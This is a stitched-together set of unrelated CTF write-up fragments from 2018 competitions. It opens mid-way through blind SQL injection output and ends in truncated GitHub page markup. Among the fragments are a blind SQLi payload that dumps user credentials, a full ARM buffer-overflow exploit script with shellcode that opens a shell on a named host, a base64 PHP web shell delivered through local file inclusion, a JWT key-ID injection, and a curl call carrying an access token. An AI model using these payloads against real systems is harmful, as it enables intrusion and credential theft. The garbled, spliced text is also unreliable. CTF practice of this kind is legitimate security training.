name,spies:age,spies:experience,spies:description,users:id,users:usspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usespies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:userspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usernspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usernaspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usernamspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:usernamespies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,uspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,usspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,usespies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,userspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,usersspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:pspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:paspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passpies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passwspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passwospies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passworspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:passwordspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,uspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,usspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,usespies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,userspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,usersspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:espies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emaspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emaispies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emailspies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:email ```
---
Similarly, extract data from the users table
↓
`0'or ord(substr((select group_concat(id,":",username,":",password,":",email) from users),●,1))>▲-- `
↓
```$ python BlindSql.py 11:1:a1:ad1:adm1:admi1:admin1:admin:1:admin:p1:admin:pc1:admin:pct1:admin:pctf1:admin:pctf{1:admin:pctf{L1:admin:pctf{L31:admin:pctf{L311:admin:pctf{L31'1:admin:pctf{L31's1:admin:pctf{L31's~1:admin:pctf{L31's~@1:admin:pctf{L31's~@L1:admin:pctf{L31's~@Ll1:admin:pctf{L31's~@Ll_1:admin:pctf{L31's~@Ll_h1:admin:pctf{L31's~@Ll_h41:admin:pctf{L31's~@Ll_h4i1:admin:pctf{L31's~@Ll_h4il1:admin:pctf{L31's~@Ll_h4il-1:admin:pctf{L31's~@Ll_h4il-11:admin:pctf{L31's~@Ll_h4il-1h1:admin:pctf{L31's~@Ll_h4il-1h31:admin:pctf{L31's~@Ll_h4il-1h3-1:admin:pctf{L31's~@Ll_h4il-1h3-c1:admin:pctf{L31's~@Ll_h4il-1h3-c41:admin:pctf{L31's~@Ll_h4il-1h3-c4T1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Q1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu31:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu331:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:s1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:sp1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_a1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_ad1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_adm1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admi1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@a1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@ad1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@adm1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@admi1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:spy_admin@admin1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected]:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected]1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected]1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected]1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],21:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:t1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:te1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:tes1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:t1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:te1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:tes1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:t1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:te1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:tes1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:test1:admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}:[email protected],2:test:test:test```
↓
`pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}` |
> Write-up for non-fflush version
This binary has normal BOF and FSB, but without `fflush()` we can't get stack cookie before program exit.
So, we have to get server's `key.aes` and `iv.aes` in other way. (If you want to get shell with fflush version binary, just get stack cookie and stack address with FSB and then make .fini_array with main's address)
As you can see, in `encrypt()` function's stack frame, there's key and iv on memory. I want to get it.But how..?
In this function, there's `printf(ciphertext_msg);` and ciphertext_msg is on `.data` (it means ciphertext_msg is on fixed address). So, we can change this string with main function's FSB like `%17$8x`(get first 4 bytes of key) or `%12$8x`(get first 4 bytes of iv). With this, we can get 32 bytes of key and 16 bytes of iv, then we can decrypt message.
Flag is pctf{th4t_m0m3n1-wh3n~f0rm41`SpiLls_0v3r} |
In my write-up (see link) I'm describing the thought-process and how far we got with this challenge. Unfortunately we didn't solve it, so this write-up is not complete, but it gives some introduction to the first part of the challenge. |

Then you just decode octal data into ASCII.
> [10:33] <Second_Fry> Escape, yeah, it's clearly octal in ears one, but how you decode it? > [10:34] <Escape> http://www.unit-conversion.info/texttools/octal/ > [??:??] <Escape> https://gist.github.com/anonymous/ed4500ede4ef1f59d3bea15587d42c8e |
**Description**This PC is attacked. The flag is stolen.Flag: `SharifCTF{522bab2661c00e672cf1af399d6055cd}`
-----
**Files**[Mini2.7z](https://mega.nz/#!AtgWjCxQ!C106i55-eVvkdqI0xDvGhWLEUFEnBcV6xQHjRWkDuDk)
-----
**Solution**Mini.vmdk was inside the 7z archive - a Linux Mate VM disk.Let's load it in VirtualBox - why not?First of all we have to get into the boot menu GRUB and edit the boot options.
-----

-----
We see that we can easily change users creds. First we have to check who was active and to look if there are any `cron/startup - surprises` in the system.
-----

-----
Everything seems fine, let's see what the user was doing. And who stole our flag...First of all the idea was to check all the network processes:
-----

-----
Nothing of really interesting. After digging the user directory (building some boring timelines) and checking the apps, we ran into a firefox profile. We have opened firefox and have found a suspicious extension named "firecopy 2.3":
-----

-----
So let's look closer at the extension, that is located in the .mozilla profile directory - /home/user/.mozilla/firefox/ih8wwh9c.default/extensions/{5ca6c28f-6283-42bd-912f-e6b776f83c39}.xpi. We can untar and read all the contents:
-----

-----
So it was now obvious, that something was stolen from the user session in firefox. We see a token, that can be also used for requests. Could it be our flag?
-----

-----
Hm.. The git is empty. But what about the gist?
-----

-----
Yay, we are near!.. But we got stuck, no trace of flags. Something was broken..Everything was fixed after the news were updated with post:> Attention> check your findings again. The issue with "Stolen Flag" is solved.
-----
Now the url isn't active, but the flag was just [there](https://gist.github.com/clipboardstolenthings/).And still a request from api.github.com is working:
-----
`curl -i -H 'Authorization: token 50e833d4ef0d228525f0bef6db857b35f53cd6d6' "https://api.github.com/users/clipboardstolenthings/gists"`
-----
**That's All Folks!** |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/pragyan_2018_ears_to_the_rescue/](http://www.aperikube.fr/docs/pragyan_2018_ears_to_the_rescue/) |
Well, this one was quite simple and yet quite disappointing for some.You XOR `info_crypt.txt` with `info_clear.txt` to get XOR key.
```with open('info_clear.txt', 'rb') as f: data_clear = f.read()with open('info_crypt.txt', 'rb') as f: data_crypt = f.read()wrong_key = ''.join([chr(ord(a) ^ ord(b)) for (a, b) in zip(data_clear, data_crypt)]) # Terrible Python oneliner to XOR stuff```
As a result you would get such text:```i am a hydra agenT, coverly spying on the superHeroes. I am aware of the group that iS going to aTtack you...but Hydra has had its diffErences with you in the past, so i'm not going to maKe it vEry simple for You ....ecb...aes(I Vouch for this: 12345)...md5(this)...base64...
```
So couple of things going here – `THISTHEKEYIV` put there to kinda mislead you as cipher used is AES in ECB mode. Key is not `I Vouch for this: 12345` but `md5(this)` as hint suggested earlier.
So `b3aab305ba957fdffa0b62ae727492a9`?
You then just base64 decrypt the `superheroes_group_info_crypt.txt`, use that MD5 as key and... Nothing happens!
This part which made some people mad. In their point of view the solution required too much guessing. You are misleaded, but still "guess" the key, use hint, etc.So the problem was in line break. If you remove last byte from XOR key and MD5 it, you, obviously, will get another hash – `285906a3d894059c42e1e9f640725f9b`.
Flag – `pctf{it's_the_justice_league_DC_for_life_hellya}`. |
# **=== arm-exploit (Pwn: 13 solves / 856 pt) ===**
```from minipwn import *## The minipwn is downloaded from the following URL.# https://github.com/inaz2/minipwn/blob/master/minipwn.py#
#s = connect_process("./arm-exploit")s = socket.create_connection(('armexploit.acebear.site', 3001))
shellcode = '\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\xc0\x46\x2f\x62\x69\x6e\x2f\x2f\x73\x68'
def Info(): recvuntil(s, "Your choice: ") sendline(s, "1")
def Login(user, password): recvuntil(s, "Your choice: ") sendline(s, "2") recvuntil(s, "Username: ") sendline(s, user) recvuntil(s, "password: ") sendline(s, password)
def Echo(): recvuntil(s, "Your choice: ") sendline(s, "3")
def Change(user): recvuntil(s, "Your choice: ") sendline(s, "4") recvuntil(s, "New username: ") sendline(s, user)
Login("root", "1111")Info()
Change("1"*32) # Change root flag !Change("root") Info()
Echo()
## Leak Stack Address#recvuntil(s, "arm-exploit:~$ ")s.send("echo "+"A"*63)r = s.recv(67)stack_leak_addr = u32(r[63:67])stack_buf_addr = stack_leak_addr - 0x88print "stack_leak_addr =", hex(stack_leak_addr)print "stack_buf_addr =", hex(stack_buf_addr)
## Leak Canary#recvuntil(s, "arm-exploit:~$ ")s.send("echo "+"A"*124)r = s.recv(127)canary = u32('\x00' + r[124:127])print "canary = ", hex(canary)
## Load Shellcode#buf = "echo " + "BBB" + shellcodebuf = buf.ljust(128, "C")buf += p32(canary) + "DDDD" + p32(stack_buf_addr) s.send(buf)
#input()recvuntil(s, "arm-exploit:~$ ")sendline(s, "exit")
interact(s)```
```root@kali:# python exploit.py stack_leak_addr = 0xf6fffb34stack_buf_addr = 0xf6fffaaccanary = 0xa0300300BBB?p��?�?�?�R@�hF�iF '?��F/bin//shCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCroot@arm-exploit:~$ iduid=1000(arm_exploit) gid=1000(arm_exploit) groups=1000(arm_exploit)cd /home/arm_exploitcat flagAceBear{arm_i5_my_sad_m3m0ry}``` |
# Xmen OR the avengers (100pts)
~~~The legion of doom is expecting an impending attack from a group of superheroes. they are not sure if it is the Xmen OR the avengers. They have received some information from a spy, a zip file containing the following files:
info_crypt.txt
info_clear.txt
superheroes_group_info_crypt.txt
Help the legion of doom in decrypting the last file so they can prepare themselves and prevent their impending doom.~~~
~~~import base64import hashlibfrom Crypto.Cipher import AES
def readfile(path): with open(path, 'r') as f: return f.read()
def xor(s1, s2): return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))
#read the filesclear = readfile('info_clear.txt')crypt = readfile('info_crypt.txt')superhero = readfile('superheroes_group_info_crypt.txt')superhero = base64.b64decode(superhero)
#get the keydec = xor(clear,crypt).rstrip('\n').encode('utf-8')print(dec)key = hashlib.md5(dec).hexdigest().encode()print(key)
#decrypt aes-ecbcipher = AES.new(key, AES.MODE_ECB)msg = cipher.decrypt(superhero)print("***POGTEAM*** >> " + msg)~~~ |
# Flag Locker
The flag locker challenge was a fun Local File Inclusion
Looking at the URL I saw the page include : `locker=why` and `locker=privacy`

We can easily get the flag with the `data://text/plain;base64`
Let's encode a basic php function :

Now we can run `103.5.112.91:1234/?cmd=grep flag index.php&locker=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4=` |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/acebear_2018_bearshare/](http://www.aperikube.fr/docs/acebear_2018_bearshare/)
-----# TL;DR
In this challenge, we had access to a system that permit to send “secure” and private messages. |
See URL for detailed wrteup
format string vuln in main
use this to write another format string in .data which is prtinf'd in the encrypt function
use the second format string to dump the key and IV off the stack |
# NeverLan CTF 2018: Story Time!**Category:** Cryptography **Points:** 200
**Description:**
>>Are you ready for a story? >>-5.;56 76†† ?)8† ;48 3‡0† 2?3 -6.48( ;‡ 46†8 ;48 0‡-5;6‡ ‡1 46) ;(85)?(8 6 5 );‡(: ](6;;8 2: 8†35( 5005 .‡8 6 1053 6) .6(5;8)5*††5338()
## Write-upThe given text has very distinct syntax. We notice that it has a lot of symbols † or ‡ which looks like a dagger. This is a characteristics of a GOLD-BUG ciphertext, which can be found here: >https://www.dcode.fr/gold-bug-poe.
Using Gold-Bug Decoder we got this:
>“CAPTAI KIDD USED THE GOLD BUG CIPHER TO HIDE THE LOCATIO OF HIS TREASURE I A STORY WRITTE BY EDGAR ALLA POE I FLAG IS PIRATESANDDAGGERS”
So our flag is:
>'PIRATESANDDAGGERS' |
## Web6 (Web, 400pts)
> SQL injection in the kid to bypass the signature.> > [http://139.59.63.144:29283/](http://139.59.63.144:29283/)
The website uses JWT for authentication. Using the debugger at [jwt.io](https://jwt.io/#debugger) we see that there is a `kid` parameter in the header section.

According to the [RFC](https://tools.ietf.org/html/rfc7515#section-4.1.4):> The "kid" (key ID) Header Parameter is a hint indicating which key was used to secure the JWS.
In this specific implementation, given the challenge description and some initial tests, the `kid` value is used in a sql query that retrieves the key from a sqlite database and is vulnerable to injection. Using a simple union injection we can get the application to use any key we want.

Setting the new JWT as the cookie value we are logged in as `admin`.
 |
ERROR: type should be string, got "https://github.com/phieulang1993/ctf-writeups/tree/master/2018/pragyan/aes_enc_unbfRemote code execution by format string and stack overflow to get shell then steal key + iv\n```$ lscoreiv.aeskey.aesx.out$ cat *.aesIV{212&5^V!-!}IVBEGIN-KEY{4x@$^%`w~d##*9}END-KEY```" |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-writeups/2018/pragyan/police_academy at master · phieulang1993/ctf-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="AF6E:8CC1:1585F417:16272464:64122705" data-pjax-transient="true"/><meta name="html-safe-nonce" content="1196ef575831ecafccd765a69800c673440f83a8906bea92347db97324453d54" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBRjZFOjhDQzE6MTU4NUY0MTc6MTYyNzI0NjQ6NjQxMjI3MDUiLCJ2aXNpdG9yX2lkIjoiNzczNzg1ODYyMzkxNjA0OTk3IiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="646d4cc0d2af3f64ce09496da703704342c83d3f7c44b402586f59e61df9bd65" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:119324220" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e4ffe5f97436ab0e5b340b52bcb75ec1777ddf62f29564960a11eff5edecb2bc/phieulang1993/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/2018/pragyan/police_academy at master · phieulang1993/ctf-writeups" /><meta name="twitter:description" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e4ffe5f97436ab0e5b340b52bcb75ec1777ddf62f29564960a11eff5edecb2bc/phieulang1993/ctf-writeups" /><meta property="og:image:alt" content="CTF writeups. Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" 